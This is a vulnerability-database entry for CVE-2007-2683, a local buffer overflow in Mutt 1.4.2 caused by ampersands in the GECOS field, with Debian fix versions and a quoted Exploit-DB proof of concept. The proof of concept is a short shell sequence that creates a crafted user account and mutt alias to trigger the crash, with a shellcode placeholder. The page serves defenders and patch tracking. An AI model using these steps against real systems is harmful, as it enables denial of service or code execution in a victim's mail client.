CVE-2007-2683

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in Mutt 1.4.2 might allow local users to execute arbitrary code via "&" characters in the GECOS field, which triggers the overflow during alias expansion.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-30093 local linux verified text · 1 KB
raylai · 2007-05-28

Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped) 

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.5.15+20070608-1
sid Fixed 1.5.15+20070608-1
forky Fixed 1.5.15+20070608-1
bullseye Fixed 1.5.15+20070608-1
bookworm Fixed 1.5.15+20070608-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.